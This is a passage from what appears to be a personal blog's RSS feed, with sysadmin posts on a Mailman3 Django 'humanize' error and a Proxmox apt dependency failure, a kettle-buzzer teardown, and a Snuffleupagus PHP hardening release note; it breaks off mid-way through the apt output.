&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;allauth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;account&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;allauth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socialaccount&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;)&lt;/span&gt;
&lt;span class="s1"&gt;Installed Middleware:&lt;/span&gt;
&lt;span class="s1"&gt;(&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;allauth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;account&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AccountMiddleware&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contrib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sessions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SessionMiddleware&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;common&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CommonMiddleware&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;csrf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CsrfViewMiddleware&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;locale&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LocaleMiddleware&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contrib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AuthenticationMiddleware&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contrib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MessageMiddleware&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clickjacking&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;XFrameOptionsMiddleware&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;security&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SecurityMiddleware&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django_mailman3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TimezoneMiddleware&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;postorius&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PostoriusMiddleware&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;)&lt;/span&gt;


&lt;span class="s1"&gt;Traceback (most recent call last):&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/template/defaulttags.py&amp;quot;, line 1026, in find_library&lt;/span&gt;
&lt;span class="s1"&gt;    return parser.libraries[name]&lt;/span&gt;
&lt;span class="s1"&gt;           ^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;

&lt;span class="s1"&gt;During handling of the above exception (&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;humanize&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;), another exception occurred:&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/core/handlers/exception.py&amp;quot;, line 55, in inner&lt;/span&gt;
&lt;span class="s1"&gt;    response = get_response(request)&lt;/span&gt;
&lt;span class="s1"&gt;               ^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/core/handlers/base.py&amp;quot;, line 197, in _get_response&lt;/span&gt;
&lt;span class="s1"&gt;    response = wrapped_callback(request, *callback_args, **callback_kwargs)&lt;/span&gt;
&lt;span class="s1"&gt;               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/contrib/auth/decorators.py&amp;quot;, line 23, in _wrapper_view&lt;/span&gt;
&lt;span class="s1"&gt;    return view_func(request, *args, **kwargs)&lt;/span&gt;
&lt;span class="s1"&gt;           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/postorius/auth/decorators.py&amp;quot;, line 66, in wrapper&lt;/span&gt;
&lt;span class="s1"&gt;    return fn(*args, **kwargs)&lt;/span&gt;
&lt;span class="s1"&gt;           ^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/postorius/views/list.py&amp;quot;, line 889, in list_moderation&lt;/span&gt;
&lt;span class="s1"&gt;    return render(request, &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;postorius&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lists&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;held_messages&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, context)&lt;/span&gt;
&lt;span class="s1"&gt;           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/shortcuts.py&amp;quot;, line 24, in render&lt;/span&gt;
&lt;span class="s1"&gt;    content = loader.render_to_string(template_name, context, request, using=using)&lt;/span&gt;
&lt;span class="s1"&gt;              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/template/loader.py&amp;quot;, line 61, in render_to_string&lt;/span&gt;
&lt;span class="s1"&gt;    template = get_template(template_name, using=using)&lt;/span&gt;
&lt;span class="s1"&gt;               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/template/loader.py&amp;quot;, line 15, in get_template&lt;/span&gt;
&lt;span class="s1"&gt;    return engine.get_template(template_name)&lt;/span&gt;
&lt;span class="s1"&gt;           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/template/backends/django.py&amp;quot;, line 33, in get_template&lt;/span&gt;
&lt;span class="s1"&gt;    return Template(self.engine.get_template(template_name), self)&lt;/span&gt;
&lt;span class="s1"&gt;                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/template/engine.py&amp;quot;, line 175, in get_template&lt;/span&gt;
&lt;span class="s1"&gt;    template, origin = self.find_template(template_name)&lt;/span&gt;
&lt;span class="s1"&gt;                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/template/engine.py&amp;quot;, line 157, in find_template&lt;/span&gt;
&lt;span class="s1"&gt;    template = loader.get_template(name, skip=skip)&lt;/span&gt;
&lt;span class="s1"&gt;               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/template/loaders/cached.py&amp;quot;, line 57, in get_template&lt;/span&gt;
&lt;span class="s1"&gt;    template = super().get_template(template_name, skip)&lt;/span&gt;
&lt;span class="s1"&gt;               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/template/loaders/base.py&amp;quot;, line 28, in get_template&lt;/span&gt;
&lt;span class="s1"&gt;    return Template(&lt;/span&gt;

&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/template/base.py&amp;quot;, line 154, in __init__&lt;/span&gt;
&lt;span class="s1"&gt;    self.nodelist = self.compile_nodelist()&lt;/span&gt;
&lt;span class="s1"&gt;                    ^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/template/base.py&amp;quot;, line 200, in compile_nodelist&lt;/span&gt;
&lt;span class="s1"&gt;    return parser.parse()&lt;/span&gt;
&lt;span class="s1"&gt;           ^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/template/base.py&amp;quot;, line 513, in parse&lt;/span&gt;
&lt;span class="s1"&gt;    raise self.error(token, e)&lt;/span&gt;
&lt;span class="s1"&gt;    ^^^^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/template/base.py&amp;quot;, line 511, in parse&lt;/span&gt;
&lt;span class="s1"&gt;    compiled_result = compile_func(self, token)&lt;/span&gt;
&lt;span class="s1"&gt;                      ^^^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/template/loader_tags.py&amp;quot;, line 293, in do_extends&lt;/span&gt;
&lt;span class="s1"&gt;    nodelist = parser.parse()&lt;/span&gt;
&lt;span class="s1"&gt;               ^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/template/base.py&amp;quot;, line 513, in parse&lt;/span&gt;
&lt;span class="s1"&gt;    raise self.error(token, e)&lt;/span&gt;
&lt;span class="s1"&gt;    ^^^^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/template/base.py&amp;quot;, line 511, in parse&lt;/span&gt;
&lt;span class="s1"&gt;    compiled_result = compile_func(self, token)&lt;/span&gt;
&lt;span class="s1"&gt;                      ^^^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/template/defaulttags.py&amp;quot;, line 1088, in load&lt;/span&gt;
&lt;span class="s1"&gt;    lib = find_library(parser, name)&lt;/span&gt;
&lt;span class="s1"&gt;          ^^^^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="s1"&gt;  File &amp;quot;/usr/lib/python3/dist-packages/django/template/defaulttags.py&amp;quot;, line 1028, in find_library&lt;/span&gt;
&lt;span class="s1"&gt;    raise TemplateSyntaxError(&lt;/span&gt;
&lt;span class="s1"&gt;    ^&lt;/span&gt;

&lt;span class="s1"&gt;Exception Type: TemplateSyntaxError at /postorius/lists/ag@nos-oignons.net/held_messages&lt;/span&gt;
&lt;span class="s1"&gt;Exception Value: &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;humanize&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;registered&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;library&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Must&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;one&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;account&lt;/span&gt;
&lt;span class="n"&gt;admin_list&lt;/span&gt;
&lt;span class="n"&gt;admin_modify&lt;/span&gt;
&lt;span class="n"&gt;admin_urls&lt;/span&gt;
&lt;span class="n"&gt;allauth&lt;/span&gt;
&lt;span class="n"&gt;bootstrap_tags&lt;/span&gt;
&lt;span class="n"&gt;cache&lt;/span&gt;
&lt;span class="nf"&gt;compress&lt;/span&gt;
&lt;span class="n"&gt;d_gravatar&lt;/span&gt;
&lt;span class="n"&gt;date_helpers&lt;/span&gt;
&lt;span class="n"&gt;debugger_tags&lt;/span&gt;
&lt;span class="n"&gt;decorate&lt;/span&gt;
&lt;span class="n"&gt;gravatar&lt;/span&gt;
&lt;span class="n"&gt;highlight&lt;/span&gt;
&lt;span class="n"&gt;highlighting&lt;/span&gt;
&lt;span class="n"&gt;hk_generic&lt;/span&gt;
&lt;span class="n"&gt;hk_haystack&lt;/span&gt;
&lt;span class="n"&gt;i18n&lt;/span&gt;
&lt;span class="n"&gt;indent_text&lt;/span&gt;
&lt;span class="n"&gt;l10n&lt;/span&gt;
&lt;span class="nf"&gt;log&lt;/span&gt;
&lt;span class="n"&gt;markdown&lt;/span&gt;
&lt;span class="n"&gt;membership_helpers&lt;/span&gt;
&lt;span class="n"&gt;more_like_this&lt;/span&gt;
&lt;span class="n"&gt;nav_helpers&lt;/span&gt;
&lt;span class="n"&gt;p_gravatar&lt;/span&gt;
&lt;span class="n"&gt;pagination&lt;/span&gt;
&lt;span class="n"&gt;postorius_helpers&lt;/span&gt;
&lt;span class="n"&gt;rest_framework&lt;/span&gt;
&lt;span class="n"&gt;socialaccount&lt;/span&gt;
&lt;span class="k"&gt;static&lt;/span&gt;
&lt;span class="n"&gt;syntax_color&lt;/span&gt;
&lt;span class="n"&gt;tz&lt;/span&gt;
&lt;span class="n"&gt;widont&lt;/span&gt;
&lt;span class="n"&gt;Raised&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;during&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;postorius&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;views&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;list_moderation&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Since this is a &lt;a href="https://www.djangoproject.com/"&gt;django&lt;/a&gt; stacktrace complaining
about a missing application, so it should simply be a matter of
adding to &lt;code&gt;/usr/share/mailman3-web/settings.py&lt;/code&gt;. Unfortunately:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gp"&gt;root@bulbe:~# &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;humanize&lt;span class="w"&gt; &lt;/span&gt;/usr/share/mailman3-web/settings.py
&lt;span class="go"&gt;    &amp;#39;django.contrib.humanize&amp;#39;,&lt;/span&gt;
&lt;span class="gp"&gt;root@bulbe:~#&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;After a fair amount of cursing, spelunking in &lt;a href="https://lists.mailman3.org/archives/list/mailman-users@mailman3.org/"&gt;mailman-users
&lt;/a&gt; and
various &lt;code&gt;strace&lt;/code&gt;+&lt;code&gt;grep&lt;/code&gt; monstrosities, the
solution was found: Instead of adding &lt;code&gt;'django.contrib.humanize'&lt;/code&gt; to the &lt;code&gt;INSTALLED_APPS&lt;/code&gt; tuple
in &lt;code&gt;/usr/share/mailman3-web/settings.py&lt;/code&gt; as one would expect, it should be
added in &lt;code&gt;/etc/mailman3/mailman-web.py&lt;/code&gt; instead.&lt;/p&gt;
&lt;p&gt;In the hope that this blogpost will help you waste less time on this than I
did.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Thu, 23 Oct 2025 14:00:00 +0200</pubDate><guid isPermaLink="false">tag:dustri.org,2025-10-23:/b/fixing-humanize-is-not-a-registered-tag-library-on-postorious.html</guid><category>sysadmin</category></item><item><title>Silencing a Kitchencook teatime kettle</title><link>https://dustri.org/b/silencing-a-kitchencook-teatime-kettle.html</link><description>&lt;p&gt;My household recently acquired a &lt;a href="https://kitchencook.fr/bouilloire/643-bouilloire-electrique-2200w-modele-tea-time-kitchencook-3662738007507.html"&gt;Kitchencook
TEATIME&lt;/a&gt;
kettle. It's quite fancy, with a handful of features that I don't really use
nor care about, but I'm quite content with its 1.7L capacity.&lt;/p&gt;
&lt;p&gt;&lt;img alt="kitchencook kettle" src="https://dustri.org/b/images/kettle.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately, it
beeps &lt;strong&gt;a lot&lt;/strong&gt;. Here is a non-exhaustive list of things resulting in a
dreadful unwanted noise: removing/putting the kettle from/on the base, when the
water is at the right temperature, when one turns it off/on, when one presses a
button, … sometimes even in the middle of the night for no apparent reason.
This is &lt;a href="https://dustri.org/b/objects-should-shut-the-fuck-up.html"&gt;fucking unacceptable behaviour&lt;/a&gt;, so here is
how to fix it. Start by doing yourself a service and get yourself a
&lt;a href="https://ifixit.com/en-eu/Tools/Drivers_and_Wrenches"&gt;screwdrivers kit from
iFixit&lt;/a&gt;, as Kitchencook
apparently hates their customers and decided to use &lt;a href="https://en.wikipedia.org/wiki/List_of_screw_drives#Tri-angle"&gt;Tri-angle
screws&lt;/a&gt; for the
base:&lt;/p&gt;
&lt;p&gt;&lt;img alt="kitchencook kettle base" src="https://dustri.org/b/images/kettle_bottom.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Once open, remove the 3 &lt;a href="https://en.wikipedia.org/wiki/List_of_screw_drives#Phillips"&gt;phillips screws&lt;/a&gt;
fixing the PCB to the base:&lt;/p&gt;
&lt;p&gt;&lt;img alt="kitchencook kettle pcb bottom" src="https://dustri.org/b/images/kettle_bottom_pcb.jpg"&gt;&lt;/p&gt;
&lt;p&gt;The buzzer is the small cylindrical device on the bottom-left of the PCB:&lt;/p&gt;
&lt;p&gt;&lt;img alt="kitchencook kettle pcb" src="https://dustri.org/b/images/kettle_pcb.jpg"&gt;&lt;/p&gt;
&lt;p&gt;It's a small &lt;a href="https://en.wikipedia.org/wiki/Piezoelectric_speaker"&gt;piezo&lt;/a&gt; from
ZFLY (Zhongshan Zhongli Electronics). The way piezoelectric speaker are working
is by having a small piece of &lt;a href="https://en.wikipedia.org/wiki/Piezoelectricity"&gt;piezoelectric
material&lt;/a&gt; fixed to a metallic
diaphragm, and to excite it via a small alternative voltage, so that the disc
will shrink/expand, causing the diaphragm to vibrate, and thus create sound.
Silencing the infernal machine is simply a matter of removing the diaphragm
altogether:&lt;/p&gt;
&lt;p&gt;&lt;img alt="kitchencook kettle buzzer" src="https://dustri.org/b/images/kettle_buzzer.jpg"&gt;
&lt;img alt="kitchencook kettle neutered buzzer" src="https://dustri.org/b/images/kettle_buzzer_neutered.jpg"&gt;&lt;/p&gt;
&lt;p&gt;I'd recommend taping it to the plastic somewhere on the inside of the base, so
that you can always put if back should you part with the device, and hand it
over to some unhinged noise-lover maniac.&lt;/p&gt;
&lt;p&gt;You should now be able to enjoy your tea in a blissful silence.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Mon, 13 Oct 2025 18:00:00 +0200</pubDate><guid isPermaLink="false">tag:dustri.org,2025-10-13:/b/silencing-a-kitchencook-teatime-kettle.html</guid><category>misc</category></item><item><title>Snuffleupagus 0.12.0 - Stegodontidae</title><link>https://dustri.org/b/snuffleupagus-0120-stegodontidae.html</link><description>&lt;p&gt;&lt;a href="https://snuffleupagus.readthedocs.org"&gt;&lt;img alt="snuffleupagus logo" src="https://dustri.org/b/images/sp.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I just published a new release of
&lt;a href="https://github.com/jvoisin/snuffleupagus/releases/tag/v0.12.0"&gt;Snuffleupagus&lt;/a&gt;,
the hardening module for php7+ and php8+,
version &lt;code&gt;0.12.0&lt;/code&gt;, codename "Stegodontidae",
named after the &lt;a href="https://en.wikipedia.org/wiki/Stegodontidae"&gt;extinct family of proboscideans&lt;/a&gt;,
a cousin of the elephants we know (and love.)
There aren't any new flashing features, only bug fixes and minor improvements,
along with the usual support of newer PHP versions.&lt;/p&gt;
&lt;h3&gt;Changelog&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Unify the default rules across all php versions&lt;/li&gt;
&lt;li&gt;Snuffleupagus will no longer report outdated PHP versions&lt;/li&gt;
&lt;li&gt;Fix a possible cookie-related crash&lt;/li&gt;
&lt;li&gt;Fix a NULL-pointer dereference&lt;/li&gt;
&lt;li&gt;Fix a minor portability issue&lt;/li&gt;
&lt;li&gt;Improve modern Debian support&lt;/li&gt;
&lt;li&gt;Improved documentation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As usual, if you want to help, we have some
&lt;a href="https://github.com/jvoisin/snuffleupagus/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22"&gt;low hanging fruits&lt;/a&gt; ♥&lt;/p&gt;
&lt;p&gt;See you in your PHP stack!&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Tue, 19 Aug 2025 22:15:00 +0200</pubDate><guid isPermaLink="false">tag:dustri.org,2025-08-19:/b/snuffleupagus-0120-stegodontidae.html</guid><category>php</category></item><item><title>Manually fixing apt's "Unmet dependencies" error</title><link>https://dustri.org/b/manually-fixing-apts-unmet-dependencies-error.html</link><description>&lt;p&gt;I am, despite my best judgment and common sense, acting as a system
administrator for a handful of projects/users, sometimes on my own, sometimes
as part of a team. On the bright side, it's usually a great source of weird
debugging/workaround stories, like this one.&lt;/p&gt;
&lt;p&gt;With the &lt;a href="https://www.proxmox.com/en/about/company-details/press-releases/proxmox-virtual-environment-9-0"&gt;new release of
proxmox&lt;/a&gt;
and with 30 minutes of free time, a sysadmin team I'm part of thought it would
be nice to upgrade a box together. An admin ran &lt;code&gt;pve8to9 --full&lt;/code&gt;, changed the
repositories from bookworm to trixie, and ran &lt;code&gt;apt dist-upgrade&lt;/code&gt;, and… their
screen was filled with &lt;code&gt;WARNING: ld.so: invalid GLIBC_TUNABLES
`glibc.malloc.perturb=1,glibc.malloc.check=1,glibc.malloc.tcache_count=0':
ignored.&lt;/code&gt;. Panic. So they hit &lt;code&gt;&amp;lt;C-c&amp;gt;&lt;/code&gt; to investigate what was happening.
Turns out, another admin threw those configuration options somewhere to
"harden" the glibc allocator, and they're now deprecated, hence the message. No
big deal, this can be fixed by removing those options, and running &lt;code&gt;apt
dist-upgrade&lt;/code&gt; again. Or can it?&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gp"&gt;# &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;dist-upgrade&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="go"&gt;Reading package lists... Done&lt;/span&gt;
&lt;span class="go"&gt;Building dependency tree... Done&lt;/span&gt;
&lt;span class="go"&gt;Reading state information... Done&lt;/span&gt;
&lt;span class="go"&gt;You might want to run &amp;#39;apt --fix-broken install&amp;#39; to correct these.&lt;/span&gt;
&lt;span class="go"&gt;The following packages have unmet dependencies:&lt;/span&gt;
&lt;span class="go"&gt; libanyevent-perl : Depends: perlapi-5.40.0&lt;/span&gt;
&lt;span class="go"&gt;                    Recommends: libasync-interrupt-perl but it is not installed&lt;/span&gt;
&lt;span class="go"&gt;                    Recommends: libev-perl but it is not installed or&lt;/span&gt;
&lt;span class="go"&gt;                                libevent-perl but it is not installed&lt;/span&gt;
&lt;span class="go"&gt;                    Recommends: libguard-perl but it is not installed&lt;/span&gt;
&lt;span class="go"&gt; libcommon-sense-perl : Depends: perl (&amp;lt; 5.36.1~) but 5.40.1-6 is installed&lt;/span&gt;
&lt;span class="go"&gt; libnss-systemd : Depends: systemd (= 257.7-1) but 252.38-1~deb12u1 is installed&lt;/span&gt;
&lt;span class="go"&gt; libpam-systemd : Depends: systemd (= 257.7-1) but 252.38-1~deb12u1 is installed&lt;/span&gt;
&lt;span class="go"&gt; libsasl2-2 : Depends: libssl3t64 (&amp;gt;= 3.0.0) but it is not installed&lt;/span&gt;
&lt;span class="go"&gt;              Recommends: libsasl2-modules (&amp;gt;= 2.1.28+dfsg1-9) but it is not installed&lt;/span&gt;
&lt;span class="go"&gt; libsasl2-modules-db : Depends: libdb5.3t64 but it is not installed&lt;/span&gt;
&lt;span class="go"&gt; libsystemd-shared : Depends: libssl3t64 (&amp;gt;= 3.4.0) but it is not installed&lt;/span&gt;
&lt;span class="go"&gt; openssl : Depends: libssl3t64 (&amp;gt;= 3.5.0) but it is not installed&lt;/span&gt;
&lt;span class="go"&gt; perl : Depends: perl-base (= 5.40.1-6) but 5.36.0-7+deb12u2 is installed&lt;/span&gt;
&lt;span class="go"&gt;        Depends: libperl5.40 (= 5.40.1-6) but it is not installed&lt;/span&gt;
&lt;span class="go"&gt; perl-modules-5.40 : Depends: perl-base (&amp;gt;= 5.40.1-1) but 5.36.0-7+deb12u2 is installed&lt;/span&gt;
&lt;span class="go"&gt; systemd : Depends: libsystemd-shared (= 252.38-1~deb12u1) but 257.7-1 is installed&lt;/span&gt;
&lt;span class="go"&gt;           Depends: libsystemd0 (= 252.38-1~deb12u1) but 257.7-1 is installed&lt;/span&gt;
